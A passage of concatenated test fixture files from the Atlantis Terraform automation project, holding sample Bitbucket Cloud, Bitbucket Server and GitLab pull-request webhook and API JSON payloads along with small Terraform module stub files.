"href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "full_name": "lkysow/atlantis-example", "owner": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "type": "repository", "is_private": false, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "actor": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" } } ================================================ FILE: server/events/testdata/bitbucket-cloud-pull-event-rejected.json ================================================ { "pullrequest": { "rendered": { "description": { "raw": "", "markup": "markdown", "html": "", "type": "rendered" }, "title": { "raw": "testtest", "markup": "markdown", "html": "

testtest

", "type": "rendered" } }, "type": "pullrequest", "description": "", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/13" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/13/statuses" } }, "title": "testtest", "close_source_branch": false, "reviewers": [], "id": 13, "destination": { "commit": { "hash": "1d1f6d3216f1", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1d1f6d3216f1" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/1d1f6d3216f1" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "main" } }, "created_on": "2019-02-12T16:54:45.891127+00:00", "summary": { "raw": "", "markup": "markdown", "html": "", "type": "rendered" }, "source": { "commit": { "hash": "0adf41d7f4cc", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/0adf41d7f4cc" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/0adf41d7f4cc" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "test" } }, "comment_count": 4, "state": "DECLINED", "task_count": 0, "participants": [ { "role": "PARTICIPANT", "participated_on": "2019-06-12T11:10:44.054840+00:00", "type": "participant", "user": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "approved": false }, { "role": "PARTICIPANT", "participated_on": "2019-06-12T11:10:47.208597+00:00", "type": "participant", "user": { "display_name": "Atlantisbot", "account_id": "5b5097035488b9140c078f7f", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D" }, "html": { "href": "https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png" } }, "nickname": "atlantis-bot", "type": "user", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}" }, "approved": false } ], "reason": "", "updated_on": "2019-06-13T13:29:24.538120+00:00", "author": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "merge_commit": null, "closed_by": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" } }, "repository": { "scm": "git", "website": "", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "full_name": "lkysow/atlantis-example", "owner": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "type": "repository", "is_private": false, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "actor": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" } } ================================================ FILE: server/events/testdata/bitbucket-cloud-pull-event-updated.json ================================================ { "pullrequest": { "type": "pullrequest", "description": "", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/1" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/statuses" } }, "title": "Initial commit", "close_source_branch": true, "reviewers": [], "id": 1, "destination": { "commit": { "hash": "3ee903d4cfa0", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/3ee903d4cfa0" } } }, "branch": { "name": "main" }, "repository": { "full_name": "lkysow/atlantis-example", "type": "repository", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" } }, "comment_count": 19, "summary": { "raw": "", "markup": "markdown", "html": "", "type": "rendered" }, "source": { "commit": { "hash": "315f27602bd8", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/315f27602bd8" } } }, "branch": { "name": "example" }, "repository": { "full_name": "lkysow/atlantis-example", "type": "repository", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" } }, "state": "OPEN", "author": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "created_on": "2018-06-02T19:06:43.899883+00:00", "participants": [ { "type": "participant", "user": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "role": "PARTICIPANT", "approved": true, "participated_on": "2018-07-18T15:59:10.105489+00:00" } ], "reason": "", "updated_on": "2018-07-18T18:38:19.271207+00:00", "merge_commit": null, "closed_by": null, "task_count": 0 }, "actor": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "repository": { "scm": "git", "website": "", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "full_name": "lkysow/atlantis-example", "owner": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "type": "repository", "is_private": false, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" } } ================================================ FILE: server/events/testdata/bitbucket-server-comment-event.json ================================================ { "eventKey": "pr:comment:added", "date": "2018-07-21T23:20:30+0200", "actor": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "pullRequest": { "id": 1, "version": 0, "title": "Null resource", "state": "OPEN", "open": true, "closed": false, "createdDate": 1532207977313, "updatedDate": 1532207977313, "fromRef": { "id": "refs/heads/branch", "displayId": "branch", "latestCommit": "bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "FK", "id": 1, "name": "atlantis-fork", "public": false, "type": "NORMAL" }, "public": false } }, "toRef": { "id": "refs/heads/main", "displayId": "main", "latestCommit": "3d1f26bc1c8eeb5ad94e247c92072717b9de6aa0", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL" }, "public": false } }, "locked": false, "author": { "user": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "role": "AUTHOR", "approved": false, "status": "UNAPPROVED" }, "reviewers": [], "participants": [] }, "comment": { "properties": { "repositoryId": 1 }, "id": 1, "version": 0, "text": "atlantis plan", "author": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "createdDate": 1532208030682, "updatedDate": 1532208030682, "comments": [], "tasks": [] } } ================================================ FILE: server/events/testdata/bitbucket-server-get-pull-changes.json ================================================ { "fromHash": "bbc7b2a29344646ec8605be9603a0aa625a627ef", "toHash": "737bfd254f39b36733ee2d5089db65c7369c7692", "properties": { "changeScope": "ALL" }, "values": [ { "contentId": "fdc4b3b5b37ba11f0cbec7a2744cddb35bab785b", "fromContentId": "0000000000000000000000000000000000000000", "path": { "components": [ "folder", "another.tf" ], "parent": "folder", "name": "another.tf", "extension": "tf", "toString": "folder/another.tf" }, "executable": false, "percentUnchanged": -1, "type": "ADD", "nodeType": "FILE", "links": { "self": [ null ] }, "properties": { "gitChangeType": "ADD" } }, { "contentId": "a44a3e1d545c78dc67236af92395b864a7035498", "fromContentId": "dc333454be3243d54ff155489df0bc0e94807a35", "path": { "components": [ "main.tf" ], "parent": "", "name": "main.tf", "extension": "tf", "toString": "main.tf" }, "executable": false, "percentUnchanged": -1, "type": "MODIFY", "nodeType": "FILE", "srcExecutable": false, "links": { "self": [ null ] }, "properties": { "gitChangeType": "MODIFY" } } ], "size": 2, "isLastPage": true, "start": 0, "limit": 25, "nextPageStart": null } ================================================ FILE: server/events/testdata/bitbucket-server-get-pull.json ================================================ { "id": 3, "version": 0, "title": "main.tf edited online with Bitbucket", "state": "OPEN", "open": true, "closed": false, "createdDate": 1532350340104, "updatedDate": 1532350340104, "fromRef": { "id": "refs/heads/lkysow/maintf-1532350335286", "displayId": "lkysow/maintf-1532350335286", "latestCommit": "43b60c668d138b2070bb6a746e09ef513e51a891", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL", "links": { "self": [ { "href": "http://localhost:7990/projects/AT" } ] } }, "public": false, "links": { "clone": [ { "href": "http://localhost:7990/scm/at/atlantis-example.git", "name": "http" }, { "href": "ssh://git@localhost:7999/at/atlantis-example.git", "name": "ssh" } ], "self": [ { "href": "http://localhost:7990/projects/AT/repos/atlantis-example/browse" } ] } } }, "toRef": { "id": "refs/heads/main", "displayId": "main", "latestCommit": "bbc7b2a29344646ec8605be9603a0aa625a627ef", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL", "links": { "self": [ { "href": "http://localhost:7990/projects/AT" } ] } }, "public": false, "links": { "clone": [ { "href": "http://localhost:7990/scm/at/atlantis-example.git", "name": "http" }, { "href": "ssh://git@localhost:7999/at/atlantis-example.git", "name": "ssh" } ], "self": [ { "href": "http://localhost:7990/projects/AT/repos/atlantis-example/browse" } ] } } }, "locked": false, "author": { "user": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL", "links": { "self": [ { "href": "http://localhost:7990/users/lkysow" } ] } }, "role": "AUTHOR", "approved": false, "status": "UNAPPROVED" }, "reviewers": [ { "user": { "name": "another-user", "emailAddress": "lkysow@gmail.com", "id": 2, "displayName": "another-user", "active": true, "slug": "another-user", "type": "NORMAL", "links": { "self": [ { "href": "http://localhost:7990/users/another-user" } ] } }, "lastReviewedCommit": "43b60c668d138b2070bb6a746e09ef513e51a891", "role": "REVIEWER", "approved": true, "status": "APPROVED" } ], "participants": [], "links": { "self": [ { "href": "http://localhost:7990/projects/AT/repos/atlantis-example/pull-requests/3" } ] } } ================================================ FILE: server/events/testdata/bitbucket-server-pull-event-created.json ================================================ { "eventKey": "pr:opened", "date": "2018-07-21T23:19:37+0200", "actor": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "pullRequest": { "id": 1, "version": 0, "title": "Null resource", "state": "OPEN", "open": true, "closed": false, "createdDate": 1532207977313, "updatedDate": 1532207977313, "fromRef": { "id": "refs/heads/branch", "displayId": "branch", "latestCommit": "bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL" }, "public": false } }, "toRef": { "id": "refs/heads/main", "displayId": "main", "latestCommit": "3d1f26bc1c8eeb5ad94e247c92072717b9de6aa0", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL" }, "public": false } }, "locked": false, "author": { "user": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "role": "AUTHOR", "approved": false, "status": "UNAPPROVED" }, "reviewers": [], "participants": [] } } ================================================ FILE: server/events/testdata/bitbucket-server-pull-event-declined.json ================================================ { "eventKey": "pr:declined", "date": "2018-07-23T13:59:48+0200", "actor": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "pullRequest": { "id": 1, "version": 7, "title": "Null resource2", "state": "DECLINED", "open": false, "closed": true, "createdDate": 1532207977313, "updatedDate": 1532347188162, "closedDate": 1532347188162, "fromRef": { "id": "refs/heads/branch", "displayId": "branch", "latestCommit": "46955afd9b6c5dfa8753727d0669925e057e69b1", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL" }, "public": false } }, "toRef": { "id": "refs/heads/main", "displayId": "main", "latestCommit": "120cff6e1452086c90689c810c15b534381ba61b", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL" }, "public": false } }, "locked": false, "author": { "user": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "role": "AUTHOR", "approved": false, "status": "UNAPPROVED" }, "reviewers": [], "participants": [] } } ================================================ FILE: server/events/testdata/bitbucket-server-pull-event-merged.json ================================================ { "eventKey": "pr:merged", "date": "2018-07-23T14:00:19+0200", "actor": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "pullRequest": { "id": 2, "version": 2, "title": "Branch", "description": "* Null resource\r\n* main.tf edited online with Bitbucket\r\n* Update 2\r\n* main.tf edited online with Bitbucket\r\n* kkj\r\n* main.tf edited online with Bitbucket", "state": "MERGED", "open": false, "closed": true, "createdDate": 1532211497403, "updatedDate": 1532347219220, "closedDate": 1532347219220, "fromRef": { "id": "refs/heads/branch", "displayId": "branch", "latestCommit": "86a574157f5a2dadaf595b9f06c70fdfdd039912", "repository": { "slug": "atlantis-example", "id": 2, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "origin": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "FK", "id": 1, "name": "atlantis-fork", "public": false, "type": "NORMAL" }, "public": false }, "project": { "key": "FK", "id": 2, "name": "atlantis-fork", "type": "NORMAL" }, "public": false } }, "toRef": { "id": "refs/heads/main", "displayId": "main", "latestCommit": "120cff6e1452086c90689c810c15b534381ba61b", "repository": { "slug": "atlantis-example", "id": 1, "name": "atlantis-example", "scmId": "git", "state": "AVAILABLE", "statusMessage": "Available", "forkable": true, "project": { "key": "AT", "id": 1, "name": "atlantis", "public": false, "type": "NORMAL" }, "public": false } }, "locked": false, "author": { "user": { "name": "lkysow", "emailAddress": "lkysow@gmail.com", "id": 1, "displayName": "Luke Kysow", "active": true, "slug": "lkysow", "type": "NORMAL" }, "role": "AUTHOR", "approved": false, "status": "UNAPPROVED" }, "reviewers": [], "participants": [], "properties": { "mergeCommit": { "displayId": "bbc7b2a2934", "id": "bbc7b2a29344646ec8605be9603a0aa625a627ef" } } } } ================================================ FILE: server/events/testdata/fs/repoA/baz/init.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoA/baz/mods.tf ================================================ module "bar" { source = "../modules/bar" } ================================================ FILE: server/events/testdata/fs/repoA/modules/bar/bar.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoA/modules/foo/foo.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoA/modules/foo/mods.tf ================================================ module "bar" { source = "../bar" } ================================================ FILE: server/events/testdata/fs/repoA/qux/quxx/init.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoA/qux/quxx/mods.tf ================================================ module "foo" { source = "../../modules/foo" } ================================================ FILE: server/events/testdata/fs/repoB/dev/quxx/init.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoB/dev/quxx/mods.tf ================================================ module "foo" { source = "../../modules/foo" } ================================================ FILE: server/events/testdata/fs/repoB/modules/bar/bar.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoB/modules/foo/foo.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoB/modules/foo/mods.tf ================================================ module "bar" { source = "../bar" } ================================================ FILE: server/events/testdata/fs/repoB/prod/quxx/init.tf ================================================ ================================================ FILE: server/events/testdata/fs/repoB/prod/quxx/mods.tf ================================================ module "foo" { source = "../../modules/foo" } ================================================ FILE: server/events/testdata/gitlab-get-merge-request-subgroup.json ================================================ { "id": 15372654, "iid": 2, "project_id": 7804027, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2018-08-22T06:14:20.946Z", "updated_at": "2018-08-22T06:14:20.946Z", "target_branch": "main", "source_branch": "patch", "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\u0026d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "source_project_id": 7804027, "target_project_id": 7804027, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "sha": "901d9770ef1a6862e2a73ec1bacc73590abb9aff", "merge_commit_sha": null, "user_notes_count": 1, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": false, "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": false, "subscribed": false, "changes_count": "1", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "latest_build_started_at": null, "latest_build_finished_at": "2018-08-22T06:14:24.003Z", "first_deployed_to_production_at": null, "pipeline": { "id": 28408568, "sha": "901d9770ef1a6862e2a73ec1bacc73590abb9aff", "ref": "patch", "status": "success", "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/pipelines/28408568" }, "diff_refs": { "base_sha": "cdf3f0f8aad6abc3c4700ad6e28936a2278a309b", "head_sha": "901d9770ef1a6862e2a73ec1bacc73590abb9aff", "start_sha": "cdf3f0f8aad6abc3c4700ad6e28936a2278a309b" }, "approvals_before_merge": null } ================================================ FILE: server/events/testdata/gitlab-get-merge-request.json ================================================ { "id":6056811, "iid":8, "project_id":4580910, "title":"Update main.tf", "description":"", "state":"opened", "created_at":"2017-11-13T19:33:42.704Z", "updated_at":"2017-11-13T23:35:26.200Z", "target_branch":"main", "source_branch":"abc", "upvotes":0, "downvotes":0, "author":{ "id":1755902, "name":"Luke Kysow", "username":"lkysow", "state":"active", "avatar_url":"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\u0026d=identicon", "web_url":"https://gitlab.com/lkysow" }, "assignee":null, "source_project_id":4580910, "target_project_id":4580910, "labels":[ ], "work_in_progress":false, "milestone":null, "merge_when_pipeline_succeeds":false, "merge_status":"can_be_merged", "sha":"0b4ac85ea3063ad5f2974d10cd68dd1f937aaac2", "merge_commit_sha":null, "user_notes_count":10, "approvals_before_merge":null, "discussion_locked":null, "should_remove_source_branch":null, "force_remove_source_branch":false, "squash":false, "web_url":"https://gitlab.com/lkysow/atlantis-example/merge_requests/8", "time_stats":{ "time_estimate":0, "total_time_spent":0, "human_time_estimate":null, "human_total_time_spent":null } } ================================================ FILE: server/events/testdata/gitlab-merge-request-comment-event-subgroup.json ================================================ { "object_kind": "note", "event_type": "note", "user": { "name": "Luke Kysow", "username": "lkysow", "avatar_url": 